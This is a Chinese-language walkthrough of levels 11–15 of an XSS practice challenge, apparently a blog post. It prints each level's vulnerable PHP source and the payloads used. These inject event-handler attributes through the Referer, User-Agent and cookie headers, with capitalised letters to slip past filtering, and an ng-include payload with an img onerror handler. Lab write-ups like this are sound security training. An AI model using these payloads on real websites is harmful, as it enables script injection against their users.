xsschallenge通关(11-15)

level 11

老规矩,先查看源码,做代码审计:

<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?>

发现他对关键词、特殊符号都做了过滤,还$str11接收了一个HTTP头部的referer字段,并且输出时没有做处理,用双引号闭合,于是可以对referer进行注入,用bp抓包,然后修改referer字段:

"type="text" οnmouseover="alert(/xss/)

如图:

修改成功后发包,但是没有事件发生,查看源码后发现小写o被转义:

重新抓包,将小写o改成大写O,当移动鼠标的事件发生时出现弹窗,通关:

level 12

查看源代码,做代码审计:

<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php 

发现这关和第十一关类似,也需要抓包,不过将HTTP头部的字段换成了user-agent。

抓包后修改user-agent字段,将o改成大写:

"type="text" Onmouseover="alert(/xss/)

如图:

放包后通关成功:

level 13

做代码审计:

<?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?>

发现这一关需要修改cookie字段,步骤和前两关一样:

抓包,修改:

"type="text" Onmouseover="alert(/xss/)

如图:

放包后通关成功:

level 14

来到第十四关,什么也没有:

查看源码,也是没有东西:

<html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>欢迎来到level14</title></head><body><h1 align=center>欢迎来到level14</h1><center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center></body></html>

直接到十五关

level 15

第十五关只有一张图片:

查看源代码:

<title>欢迎来到level15</title></head><h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1><p align=center><img src=level15.png></p><?php ini_set("display_errors", 0);$str = $_GET["src"];echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';?>

发现它接收了一个参数src,并发现ng-include,ng-include的作用如下:


ng-include 指令用于包含外部的 HTML 文件。


ng-include可以作为一个属性,或者一个元素使用


这时候我们可以让这个网页包含一个有漏洞的外部php文件,如level1.php,用onerror事件

?src='level1.php?name=<img src=1 οnerrοr=alert(/xss/)>'

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容